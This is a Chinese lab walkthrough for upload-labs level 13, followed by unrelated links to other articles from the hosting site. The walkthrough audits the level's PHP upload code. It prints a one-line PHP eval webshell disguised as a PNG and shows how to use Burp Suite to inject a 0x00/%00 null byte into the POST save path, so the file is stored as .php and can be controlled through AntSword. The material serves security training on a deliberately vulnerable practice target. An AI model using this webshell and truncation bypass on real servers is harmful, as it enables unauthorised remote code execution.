upload-labs第十三关教程

upload-labs第十三关教程

  • 第十三关
  • 一、源代码分析
    • 代码审计
  • 二、绕过分析
    • 1)0x00绕过
      • a.上传eval.png
      • b.使用burpsuite进行拦截
        • 修改之前:
        • 修改之后:
        • 进入hex模块:
      • c.放包
        • 上传成功:
      • d.使用中国蚁剑进行连接
    • 2)%00绕过
      • 上传eval.png,使用Burp suite进行拦截包,添加如下:
        • 修改之后:
      • 放包:
      • 使用中国蚁剑进行连接

第十三关


一、源代码分析

代码审计

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传失败";}} else {$msg = "只允许上传.jpg|.png|.gif类型文件!";}
}

与上一关不同的是这里的路径是post请求,也就是%00截断不会通过url自动解码了,得我们手动解码。

 $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

二、绕过分析

1)0x00绕过

a.上传eval.png

<?php @eval($_POST['cmd']); ?>

这个是一个php代码,然后保存为png文件就行了。

b.使用burpsuite进行拦截

修改之前:

在这里插入图片描述

修改之后:

将可控参数那块加入eval.php空格—>选择hex模块—>找到eval.php的位置—>修改空格的十六进制为00

进入hex模块:

在这里插入图片描述

c.放包

上传成功:

在这里插入图片描述
需要注意的是:eval.php背后的一大串会被截断
在这里插入图片描述

d.使用中国蚁剑进行连接

在这里插入图片描述
连接成功。

2)%00绕过

这里就算让我们自己手动解码,快捷键ctrl+shift+u

上传eval.png,使用Burp suite进行拦截包,添加如下:

修改之前和上面的一样

修改之后:

在这里插入图片描述
对…/upload/eval.php%00进行手动解码,快捷键ctrl+shift+u
在这里插入图片描述

放包:

在这里插入图片描述
注意点和上面一样。

使用中国蚁剑进行连接

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/29977.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【分布预测】DistPred:回归与预测的无分布概率推理方法

论文题目&#xff1a;DistPred: A Distribution-Free Probabilistic Inference Method for Regression and Forecasting 论文作者&#xff1a;Daojun Liang, Haixia Zhang&#xff0c;Dongfeng Yuan 论文地址&#xff1a;https://arxiv.org/abs/2406.11397 代码地址&#xff1a…

小白学RAG:大模型 RAG 技术实践总结

节前&#xff0c;我们组织了一场算法岗技术&面试讨论会&#xff0c;邀请了一些互联网大厂朋友、今年参加社招和校招面试的同学。 针对大模型技术趋势、大模型落地项目经验分享、新手如何入门算法岗、该如何准备面试攻略、面试常考点等热门话题进行了深入的讨论。 汇总合集…

C++之模板(三)

1、缺省模板参数 可以将数据结构类型传递进来&#xff0c;比如vectop<T>&#xff08;如果没传就是默认&#xff09; 把vector当作类型参数来传递&#xff0c;从而使用它的接口然后适配出新的接口。实际上这个Stack称为适配器。有时候可能需要vector&#xff0c;但是又需…

编程电脑怎么接网线:详细步骤与注意事项

编程电脑怎么接网线&#xff1a;详细步骤与注意事项 在数字化日益普及的今天&#xff0c;无论是编程工作还是日常使用&#xff0c;电脑连接网络都是必不可少的步骤。其中&#xff0c;通过网线连接网络以其稳定性和高速率而备受青睐。然而&#xff0c;对于许多非专业人士来说&a…

【Python】AJAX

AJAX基础 一、AJAX1.1 概述1.2 XMLHttpRequest对象1.3 AJAX请求六部曲1.4 图解AJAX请求步骤 二、jQuery与AJAX2.1 jQuery.get()2.2 jQuery.getJSON()2.3 jQuery.post()2.4 jQuery.ajax() 三、Django使用AJAX3.1 请求类型3.2 PUT与PATCH的区别3.3 接收及响应JSON3.3.1 接收JSON3…

前端-echarts5.0 tooltip不显示问题

在echarts官网完成绘制后&#xff0c;将配置复制到本地&#xff0c;结果tooltip无法显示。 项目使用vue3,echarts5.0,代码写的是vue2。 option {tooltip: {trigger: axis,axisPointer: {type: cross,crossStyle: {color: #999}}},legend: {data: [完工数量, 完成率]},xAxis:…

ui自动化selenium,清新脱俗代码,框架升级讲解

一&#xff1a;简化 1. 新建common 包 新建diver.py 封装浏览器驱动类 from selenium import webdriverclass Driver():"""浏览器驱动类定义 一个【获取浏览器驱动对象driver的方法】。支持多种类型浏览器"""def get_driver(self,browser_typ…

《扩散模型 从原理到实战》Hugging Face (三)

第四章 Diffusers 实战 安装Difffusers 库 pip install -qq -U diffusers datasets transformers accelerate ftfy pyarrow扩散模型调度器 from diffusers import DDPMScheduler noise_scheduler DDPMScheduler(num_train_timesteps1000)定义扩散模型 from diffusers impo…

二维码展示与下载

1. 二维码展示(前端展示) 基于vue-qr组件实现 下载vue-qr组件 npm install vue-qr --save页面vueqr组件导入 import VueQr from vue-qr;export default {components: {VueQr} }页面展示 <el

VS安装FFmpeg库

在Visual Studio中安装FFmpeg库通常涉及以下步骤: 下载FFmpeg:访问FFmpeg官网(https://ffmpeg.org/download.html)下载对应于您的操作系统的预编译二进制文件。 解压FFmpeg:将下载的压缩包解压到您选择的目录。 配置系统环境变量:将FFmpeg的bin目录添加到系统的PATH环境变…

JimuReport 积木报表 v1.7.6 版本发布,免费的低代码报表

项目介绍 一款免费的数据可视化报表工具&#xff0c;含报表和大屏设计&#xff0c;像搭建积木一样在线设计报表&#xff01;功能涵盖&#xff0c;数据报表、打印设计、图表报表、大屏设计等&#xff01; Web 版报表设计器&#xff0c;类似于excel操作风格&#xff0c;通过拖拽完…

Python构造TCP三次握手、传输数据、四次挥手pcap数据包并打乱顺序

Python构造数据包&#xff0c;包含&#xff1a; TCP三次握手、 传输数据、 四次挥手 实现 随机乱序TCP数据包 from scapy.all import * from scapy.all import Ether, IP, TCP, UDP, wrpcap from abc import ABC, abstractmethod import random import dpkt from scapy.all…

6月18日(周二)美股行情总结:纳指七日连创新高,英伟达市值全球第一,苹果微软回落,油价七周最高

美国5月零售销售意外走软&#xff0c;尽管一众美联储官员均鹰派发声支持多等待通胀数据再做决策&#xff0c;市场仍抬升对年内降息两次的押注。标普500指数在七天里第六天上涨并再创新高&#xff0c;标普科技板块连续七天创新高、期间累涨8.6%&#xff0c;道指一周高位&#xf…

MySQL----慢查询日志

慢日志 MySQL可以设置慢查询日志&#xff0c;当SQL执行的时间超过我们设定的时间&#xff0c;那么这些SQL就会被记录在慢查询日志当中&#xff0c;然后我们通过查看日志&#xff0c;用explain分析这些SQL的执行计划&#xff0c;来判定为什么效率低下。 查看相关信息 show va…

Oracle Database 23ai 创建新用户

Oracle Database 23ai 创建新用户 1. 创建新用户2. 配置 cohere 认证 1. 创建新用户 sqlplus syslocalhost:1521/orclpdb1 as sysdbaCreate bigfile tablespace tbs100 Datafile bigtbs_f100.dbf SIZE 1G AUTOEXTEND ON next 32m maxsize unlimited extent management local …

iOS 18 终于更新了 iOS 隐藏 App 功能,这次是真的隐藏

如何锁定或隐藏 App 我们一起来看看 iOS 如何隐藏软件&#xff0c;下面是具体的操作步骤&#xff1a; iOS 隐藏 App 的第一步肯定是找到你想隐藏或锁定的应用程序&#xff0c;然后长按它的图标&#xff0c;在长按之后出现的选项中我们选择“需要 Face ID”。 然后在新弹出的选…

web版的数字孪生,选择three.js、unity3D、还是UE4

数字孪生分为客户端版和web端版&#xff0c;开发引擎多种多用&#xff0c;本文重点分析web端版采用哪种引擎最合适&#xff0c; 贝格前端工场结合实际经验和网上主流说法&#xff0c;为您讲解。 一、数字孪生的web版和桌面版 数字孪生的Web版和桌面版是数字孪生技术在不同平台…

Mamba: Linear-Time Sequence Modeling with Selective State Spaces论文笔记

文章目录 Mamba: Linear-Time Sequence Modeling with Selective State Spaces摘要引言 相关工作(SSMs)离散化计算线性时间不变性(LTI)结构和尺寸一般状态空间模型SSMs架构S4(补充)离散数据的连续化: 基于零阶保持技术做连续化并采样循环结构表示: 方便快速推理卷积结构表示: 方…